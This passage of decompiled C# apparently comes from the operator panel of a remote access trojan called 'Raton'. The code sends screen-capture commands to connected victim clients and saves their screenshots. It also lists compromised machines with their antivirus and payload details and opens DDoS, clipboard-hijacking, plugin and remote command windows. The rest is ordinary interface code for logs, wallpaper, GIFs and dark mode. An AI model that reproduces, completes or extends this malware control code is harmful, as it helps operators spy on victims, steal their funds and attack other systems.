textBlock.FontSize = 13.0;
textBlock.Foreground = (System.Windows.Media.Brush) new SolidColorBrush(color ?? System.Windows.Media.Color.FromRgb((byte) 170, (byte) 170, (byte) 170));
textBlock.VerticalAlignment = VerticalAlignment.Center;
textBlock.TextAlignment = TextAlignment.Center;
return textBlock;
}
private void UpdateScreenCount()
{
int count = this.ScreensPanel.Children.Count;
this.TbScreenCount.Text = count.ToString() + (count == 1 ? " capture" : " captures");
this.ScreensEmptyState.Visibility = count == 0 ? Visibility.Visible : Visibility.Collapsed;
}
private void GetScreens_Click(object sender, MouseButtonEventArgs e)
{
Program.form2.isScreensStarted = true;
foreach (SillyClient client in this.GetClients())
{
Pack pack = new Pack();
pack.SetString("Packet", "GetScreen");
client.Send(pack.Pacc());
}
}
private void ScreenTileSave(Border tile)
{
if (!(tile.Tag is ScreenTile tag))
return;
Microsoft.Win32.SaveFileDialog saveFileDialog1 = new Microsoft.Win32.SaveFileDialog();
saveFileDialog1.Filter = "PNG Image (*.png)|*.png|JPEG Image (*.jpg)|*.jpg";
saveFileDialog1.Title = "Save Screenshot";
saveFileDialog1.FileName = $"screen_{tag.Uid}_{DateTime.Now.ToString("yyyyMMdd_HHmmss")}.png";
Microsoft.Win32.SaveFileDialog saveFileDialog2 = saveFileDialog1;
bool? nullable = saveFileDialog2.ShowDialog();
bool flag = true;
if (!(nullable.GetValueOrDefault() == flag & nullable.HasValue))
return;
File.WriteAllBytes(saveFileDialog2.FileName, tag.ImageBytes);
}
private void ScreensClear_Click(object sender, MouseButtonEventArgs e)
{
Program.form2.isScreensStarted = false;
this.ScreensPanel.Children.Clear();
this.UpdateScreenCount();
}
private void ScreensSave_Click(object sender, MouseButtonEventArgs e)
{
if (this.ScreensPanel.Children.Count == 0)
{
int num1 = (int) Messenger.MessageBox("No screenshots to save.", "Screens", icon: MessageBoxImage.Asterisk);
}
else
{
FolderBrowserDialog folderBrowserDialog = new FolderBrowserDialog()
{
Description = "Select folder to save all screenshots"
};
if (folderBrowserDialog.ShowDialog() != System.Windows.Forms.DialogResult.OK)
return;
string selectedPath = folderBrowserDialog.SelectedPath;
int num2 = 0;
foreach (UIElement child in this.ScreensPanel.Children)
{
if ((child is Border border ? border.Tag : (object) null) is ScreenTile tag)
{
File.WriteAllBytes(System.IO.Path.Combine(selectedPath, $"screen_{tag.Uid}_{num2}.png"), tag.ImageBytes);
++num2;
}
}
int num3 = (int) Messenger.MessageBox($"Saved {num2} screenshot(s) to:\n{selectedPath}", "Done", icon: MessageBoxImage.Asterisk);
}
}
public void AddLog(params object[] args)
{
this.AppendLog(args.Length != 0 ? args[0]?.ToString() : string.Empty, LogType.Info);
}
public void AddSuccessLog(params object[] args)
{
this.AppendLog(args.Length != 0 ? args[0]?.ToString() : string.Empty, LogType.Success);
}
public void AddErrorLog(params object[] args)
{
this.AppendLog(args.Length != 0 ? args[0]?.ToString() : string.Empty, LogType.Error);
}
public void ClearLogs()
{
this.Dispatch((Action) (() =>
{
this._logs.Clear();
this.UpdateLogCount();
}));
}
private void AppendLog(string message, LogType type)
{
if (!string.IsNullOrEmpty(this.user))
message = message.Replace("USER", "@" + this.user);
this.Dispatch((Action) (() =>
{
this._logs.Add(new LogEntry()
{
Time = DateTime.Now.ToString("hh:mm:ss tt"),
Message = message,
Type = type
});
if (this._logs.Count > 0)
this.LogGrid.ScrollIntoView((object) this._logs[this._logs.Count - 1]);
this.UpdateLogCount();
}));
}
private void UpdateLogCount()
{
this.TbLogCount.Text = $"{this._logs.Count.ToString()} {(this._logs.Count == 1 ? "entry" : "entries")}";
}
private void LogCtxCopy_Click(object sender, RoutedEventArgs e)
{
if (this.LogGrid.SelectedItem is LogEntry selectedItem)
{
System.Windows.Clipboard.SetText($"[{selectedItem.Time}] {selectedItem.Message}");
}
else
{
int num = (int) Messenger.MessageBox("Select a log entry first.", "Nothing selected", icon: MessageBoxImage.Asterisk);
}
}
private void LogCtxSearch_Click(object sender, RoutedEventArgs e)
{
SearchDialog searchDialog1 = new SearchDialog();
searchDialog1.Owner = (Window) this;
SearchDialog searchDialog2 = searchDialog1;
bool? nullable = searchDialog2.ShowDialog();
bool flag = true;
if (!(nullable.GetValueOrDefault() == flag & nullable.HasValue) || string.IsNullOrWhiteSpace(searchDialog2.SearchText))
return;
string str = searchDialog2.SearchText.Trim();
this.LogGrid.UnselectAll();
foreach (LogEntry log in (Collection<LogEntry>) this._logs)
{
if (log.Message.IndexOf(str, StringComparison.OrdinalIgnoreCase) >= 0 || log.Time.IndexOf(str, StringComparison.OrdinalIgnoreCase) >= 0)
{
this.LogGrid.SelectedItem = (object) log;
this.LogGrid.ScrollIntoView((object) log);
return;
}
}
int num = (int) Messenger.MessageBox("No matching entries found.", "Search", icon: MessageBoxImage.Asterisk);
}
private async void DeleteDisconnect_Click(object sender, RoutedEventArgs e)
{
foreach (ClientRow clientRow in this.Clients.Where<ClientRow>((Func<ClientRow, bool>) (c => c.Status != null && c.Status.Equals("Disconnected", StringComparison.OrdinalIgnoreCase))).ToList<ClientRow>())
{
ClientStorage.DeleteUID(clientRow.ID);
this.Clients.Remove(clientRow);
}
this.StatOffline.Text = this.Clients.Count<ClientRow>((Func<ClientRow, bool>) (c => c.Status != null && c.Status.Equals("Disconnected", StringComparison.OrdinalIgnoreCase))).ToString();
try
{
int num = await BackendClient.ValidateSessionFlags(DeviceManager.GetHWID(), DeviceManager.GetOrCreateId()) ? 1 : 0;
}
catch (Exception ex)
{
int num = (int) System.Windows.MessageBox.Show(ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand);
Environment.Exit(0);
}
}
private async void LoadStoredClientsToList()
{
this.Clients.Clear();
foreach (StoredClient client in ClientStorage.Clients)
{
StoredClient c = client;
if (!this.Clients.Any<ClientRow>((Func<ClientRow, bool>) (r => string.Equals(r.ID, c.UID, StringComparison.OrdinalIgnoreCase) || string.Equals(r.Client, c.IP, StringComparison.OrdinalIgnoreCase))))
this.Clients.Add(new ClientRow()
{
Client = c.IP,
Tag = c.Group,
User = c.UserMachine,
ID = c.UID,
OS = c.OS,
Version = c.Version,
Running = c.Executing,
AV = c.AV,
Status = "Disconnected",
Date = c.Clock,
Payload = c.Payload
});
}
await StatsUpdater.Update();
}
private void OpenDDOS(object sender, RoutedEventArgs e) => this.OpenDDOSWin();
private void OpenClipper(object sender, RoutedEventArgs e) => this.OpenClipperWindow();
private void openPlugins(object sender, RoutedEventArgs e)
{
RatonPlugins ratonPlugins = System.Windows.Application.Current.Windows.OfType<RatonPlugins>().FirstOrDefault<RatonPlugins>();
if (ratonPlugins != null)
{
ratonPlugins.Activate();
ratonPlugins.Focus();
}
else
new RatonPlugins().Show();
}
private void RenameShit(object sender, RoutedEventArgs e)
{
using (inputDialog inputDialog = new inputDialog())
{
inputDialog.Text = "Change tag";
inputDialog.label1.Text = "Insert the new tag of the client";
if (inputDialog.ShowDialog() != System.Windows.Forms.DialogResult.OK)
return;
string text = inputDialog.textBox1.Text;
if (string.IsNullOrEmpty(text))
return;
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
selectedClient.ClientModel.Tag = text;
TagStorage.Set(selectedClient.ClientModel.Client, text);
int num = (int) Messenger.MessageBox("User tag switched successfully", "Tag", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
this.ClientsGrid.Items.Refresh();
}
}
private void OpenClipperWindow()
{
ratonClipper ratonClipper1 = System.Windows.Application.Current.Windows.OfType<ratonClipper>().FirstOrDefault<ratonClipper>();
if (ratonClipper1 != null)
{
ratonClipper1.Activate();
ratonClipper1.Focus();
}
else
{
ratonClipper ratonClipper2 = new ratonClipper();
ratonClipper2.Show();
Program.formClip = ratonClipper2;
}
}
private void OpenDDOSWin()
{
DDOS ddos = System.Windows.Application.Current.Windows.OfType<DDOS>().FirstOrDefault<DDOS>();
if (ddos != null)
{
ddos.Activate();
ddos.Focus();
}
else
new DDOS().Show();
}
private void PreviewRequest(object sender, RoutedEventArgs e)
{
Preview preview = System.Windows.Application.Current.Windows.OfType<Preview>().FirstOrDefault<Preview>();
if (preview != null)
{
preview.Activate();
}
else
{
this.Command("Preview");
new Preview().Show();
}
}
private void openCLI(object sender, RoutedEventArgs e)
{
this.AddLog((object) "USER has activated the Raton CLI mode");
this.Hide();
new ratonCMD().Show();
}
private void LogCtxClear_Click(object sender, RoutedEventArgs e) => this.ClearLogs();
private void LogCtxSave_Click(object sender, RoutedEventArgs e)
{
Microsoft.Win32.SaveFileDialog saveFileDialog1 = new Microsoft.Win32.SaveFileDialog();
saveFileDialog1.Filter = "JSON Files (*.json)|*.json";
saveFileDialog1.Title = "Export Logs";
saveFileDialog1.FileName = $"logs_{DateTime.Now.ToString("yyyyMMdd_HHmmss")}.json";
Microsoft.Win32.SaveFileDialog saveFileDialog2 = saveFileDialog1;
bool? nullable = saveFileDialog2.ShowDialog();
bool flag = true;
if (!(nullable.GetValueOrDefault() == flag & nullable.HasValue))
return;
var datas = this._logs.Select(l => new
{
Time = l.Time,
Message = l.Message,
Type = l.Type.ToString()
});
File.WriteAllText(saveFileDialog2.FileName, JsonConvert.SerializeObject((object) datas, Formatting.Indented));
int num = (int) Messenger.MessageBox("Logs exported successfully.", "Done", icon: MessageBoxImage.Asterisk);
}
private void LoadWallpaper()
{
this._gifTimer?.Stop();
this._gifTimer = (DispatcherTimer) null;
this._gifFrames = (BitmapSource[]) null;
string[] strArray = new string[6]
{
".gif",
".png",
".jpeg",
".jpg",
".bmp",
".webp"
};
string path1 = (string) null;
foreach (string str in strArray)
{
string path2 = System.IO.Path.Combine(MainWindow.appData, "wallpaper" + str);
if (File.Exists(path2))
{
path1 = path2;
break;
}
}
if (path1 == null)
return;
if (path1.EndsWith(".gif", StringComparison.OrdinalIgnoreCase))
this.LoadGif(path1);
else
this.LoadStaticWallpaper(path1);
}
private void LoadStaticWallpaper(string path)
{
BitmapImage bitmapImage = new BitmapImage();
bitmapImage.BeginInit();
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
bitmapImage.UriSource = new Uri(path, UriKind.Absolute);
bitmapImage.EndInit();
bitmapImage.Freeze();
this.WallpaperImage.Source = (ImageSource) bitmapImage;
this.WallpaperImage.Visibility = Visibility.Visible;
}
private void LoadGif(string path)
{
MainWindow.GifDecodeResult gifDecodeResult = this.DecodeGif(File.ReadAllBytes(path));
if (gifDecodeResult == null || gifDecodeResult.Frames.Length == 0)
return;
this._gifFrames = gifDecodeResult.Frames;
this._gifDelays = gifDecodeResult.Delays;
this._gifCurrentFrame = 0;
this.WallpaperImage.Source = (ImageSource) this._gifFrames[0];
this.WallpaperImage.Visibility = Visibility.Visible;
if (this._gifFrames.Length <= 1)
return;
this._gifTimer = new DispatcherTimer();
this._gifTimer.Interval = TimeSpan.FromMilliseconds((double) this._gifDelays[0]);
this._gifTimer.Tick += new EventHandler(this.GifTimer_Tick);
this._gifTimer.Start();
}
private MainWindow.GifDecodeResult DecodeGif(byte[] bytes)
{
try
{
BitmapDecoder bitmapDecoder = BitmapDecoder.Create((Stream) new MemoryStream(bytes), BitmapCreateOptions.PreservePixelFormat, BitmapCacheOption.OnLoad);
int count = bitmapDecoder.Frames.Count;
int pixelWidth = bitmapDecoder.Frames[0].PixelWidth;
int pixelHeight = bitmapDecoder.Frames[0].PixelHeight;
MainWindow.GifDecodeResult gifDecodeResult = new MainWindow.GifDecodeResult()
{
Frames = new BitmapSource[count],
Delays = new int[count]
};
RenderTargetBitmap source = new RenderTargetBitmap(pixelWidth, pixelHeight, 96.0, 96.0, PixelFormats.Pbgra32);
for (int index = 0; index < count; ++index)
{
BitmapFrame frame = bitmapDecoder.Frames[index];
int num1 = 80 /*0x50*/;
try
{
if (frame.Metadata is BitmapMetadata metadata)
{
if (metadata.GetQuery("/grctlext/Delay") is ushort query)
num1 = Math.Max(20, (int) query * 10);
}
}
catch
{
}
gifDecodeResult.Delays[index] = num1;
int x = 0;
int y = 0;
try
{
if (frame.Metadata is BitmapMetadata metadata)
{
object query1 = metadata.GetQuery("/imgdesc/Left");
object query2 = metadata.GetQuery("/imgdesc/Top");
if (query1 is ushort num2)
x = (int) num2;
if (query2 is ushort num3)
y = (int) num3;
}
}
catch
{
}
DrawingVisual drawingVisual = new DrawingVisual();
DrawingContext drawingContext = drawingVisual.RenderOpen();
drawingContext.DrawImage((ImageSource) source, new Rect(0.0, 0.0, (double) pixelWidth, (double) pixelHeight));
drawingContext.DrawImage((ImageSource) frame, new Rect((double) x, (double) y, (double) frame.PixelWidth, (double) frame.PixelHeight));
drawingContext.Close();
source = new RenderTargetBitmap(pixelWidth, pixelHeight, 96.0, 96.0, PixelFormats.Pbgra32);
source.Render((Visual) drawingVisual);
WriteableBitmap writeableBitmap = new WriteableBitmap((BitmapSource) source);
writeableBitmap.Freeze();
gifDecodeResult.Frames[index] = (BitmapSource) writeableBitmap;
}
return gifDecodeResult;
}
catch
{
return (MainWindow.GifDecodeResult) null;
}
}
private void GifTimer_Tick(object sender, EventArgs e)
{
if (this._gifTimer == null || this._gifFrames == null)
return;
this._gifTimer.Stop();
this._gifCurrentFrame = (this._gifCurrentFrame + 1) % this._gifFrames.Length;
this.WallpaperImage.Source = (ImageSource) this._gifFrames[this._gifCurrentFrame];
this._gifTimer.Interval = TimeSpan.FromMilliseconds((double) this._gifDelays[this._gifCurrentFrame]);
this._gifTimer.Start();
}
private void LoadAvatar()
{
string[] strArray = new string[6]
{
".png",
".jpg",
".jpeg",
".gif",
".bmp",
".webp"
};
string uriString = (string) null;
foreach (string str in strArray)
{
string path = System.IO.Path.Combine(MainWindow.appData, "pfp" + str);
if (File.Exists(path))
{
uriString = path;
break;
}
}
if (uriString == null)
return;
BitmapImage image = new BitmapImage();
image.BeginInit();
image.CacheOption = BitmapCacheOption.OnLoad;
image.UriSource = new Uri(uriString, UriKind.Absolute);
image.EndInit();
image.Freeze();
Ellipse pfpE = this.pfpE;
ImageBrush imageBrush = new ImageBrush((ImageSource) image);
imageBrush.Stretch = Stretch.UniformToFill;
pfpE.Fill = (System.Windows.Media.Brush) imageBrush;
}
private void ApplyDarkMode()
{
bool flag = this.IsWindowsDarkMode();
IntPtr handle = new WindowInteropHelper((Window) this).Handle;
int attrValue = flag ? 1 : 0;
MainWindow.DwmSetWindowAttribute(handle, 20, ref attrValue, Marshal.SizeOf(typeof (int)));
}
private bool IsWindowsDarkMode()
{
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize"))
{
if (registryKey != null)
{
if (registryKey.GetValue("AppsUseLightTheme") is int num)
return num == 0;
}
}
return false;
}
private static void SetBorderColor(Window window, System.Windows.Media.Color color)
{
IntPtr handle = new WindowInteropHelper(window).Handle;
int attrValue = (int) color.R | (int) color.G << 8 | (int) color.B << 16 /*0x10*/;
MainWindow.DwmSetWindowAttribute(handle, 34, ref attrValue, 4);
}
private void Dispatch(Action action)
{
if (this.Dispatcher.CheckAccess())
action();
else
this.Dispatcher.Invoke(action);
}
private class GifDecodeResult
{
public BitmapSource[] Frames;
public int[] Delays;
}
}